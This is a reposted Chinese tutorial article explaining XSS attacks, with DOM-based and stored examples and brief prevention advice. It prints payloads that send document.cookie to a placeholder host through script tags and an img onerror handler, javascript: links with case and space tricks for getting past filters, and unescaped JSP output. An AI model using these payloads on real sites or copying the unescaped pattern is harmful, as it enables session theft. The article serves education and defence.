碼上歡樂
首頁
榜單
標簽
關於
搜索
相關內容
簡體
繁體
什么是 XSS 攻擊,如何避免?
本文轉載自
查看原文
2020-05-18 09:05
939
java
XSS 攻擊,即跨站腳本攻擊(Cross Site Scripting),它是 web 程序中常見的漏洞。
原理
攻擊者往 web 頁面里插入惡意的 HTML 代碼(Javascript、css、html 標簽等),當用戶瀏覽該頁面時,嵌入其中的 HTML 代碼會被執行,從而達到惡意攻擊用戶的目的。如盜取用戶 cookie 執行一系列操作,破壞頁面結構、重定向到其他網站等。
種類
1、DOM Based XSS:基於網頁 DOM 結構的攻擊
例如:
input 標簽 value 屬性賦值
//jsp
<input type="text" value="<%= getParameter("content") %>">
訪問
http://xxx.xxx.xxx/search?content=<script>alert('XSS');</script> //彈出 XSS 字樣
http://xxx.xxx.xxx/search?content=<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script> //把當前頁面的 cookie 發送到 xxxx.aaa.xxx 網站
利用 a 標簽的 href 屬性的賦值
//jsp
<a href="escape(<%= getParameter("newUrl") %>)">跳轉...</a>
訪問
http://xxx.xxx.xxx?newUrl=javascript:alert('XSS') //點擊 a 標簽就會彈出 XSS 字樣
變換大小寫
http://xxx.xxx.xxx?newUrl=JAvaScript:alert('XSS') //點擊 a 標簽就會彈出 XSS 字樣
加空格
http://xxx.xxx.xxx?newUrl= JavaScript :alert('XSS') //點擊 a 標簽就會彈出 XSS 字樣
image 標簽 src 屬性,onload、onerror、onclick 事件中注入惡意代碼
<img src='xxx.xxx' onerror='javascript:window.open("http://aaa.xxx?param="+document.cookie)' />
2、Stored XSS:存儲式XSS漏洞
<form action="save.do">
<input name="content" value="">
</form>
輸入 <script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>,提交
當別人訪問到這個頁面時,就會把頁面的 cookie 提交到 xxx.aaa.xxx,攻擊者就可以獲取到 cookie
預防思路
web 頁面中可由用戶輸入的地方,如果對輸入的數據轉義、過濾處理
后台輸出頁面的時候,也需要對輸出內容進行轉義、過濾處理(因為攻擊者可能通過其他方式把惡意腳本寫入數據庫)
前端對 html 標簽屬性、css 屬性賦值的地方進行校驗
更多免費技術資料可關注:annalin1203
×
免責聲明!
本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。
猜您在找
快速對字符轉義,避免跨站攻擊XSS
ASP.NET避免跨站腳本攻擊(XSS)
什么是xss攻擊?
什么是xss攻擊
XSS攻擊
什么XSS攻擊?PHP防止XSS攻擊函數
XSS攻擊(跨站攻擊)
什么是XSS攻擊?什么是SQL注入攻擊?什么是CSRF攻擊?
注入攻擊-XSS攻擊-CSRF攻擊
XSS CSRF 攻擊
粵ICP備18138465號
© 2018-2025 CODEPRJ.COM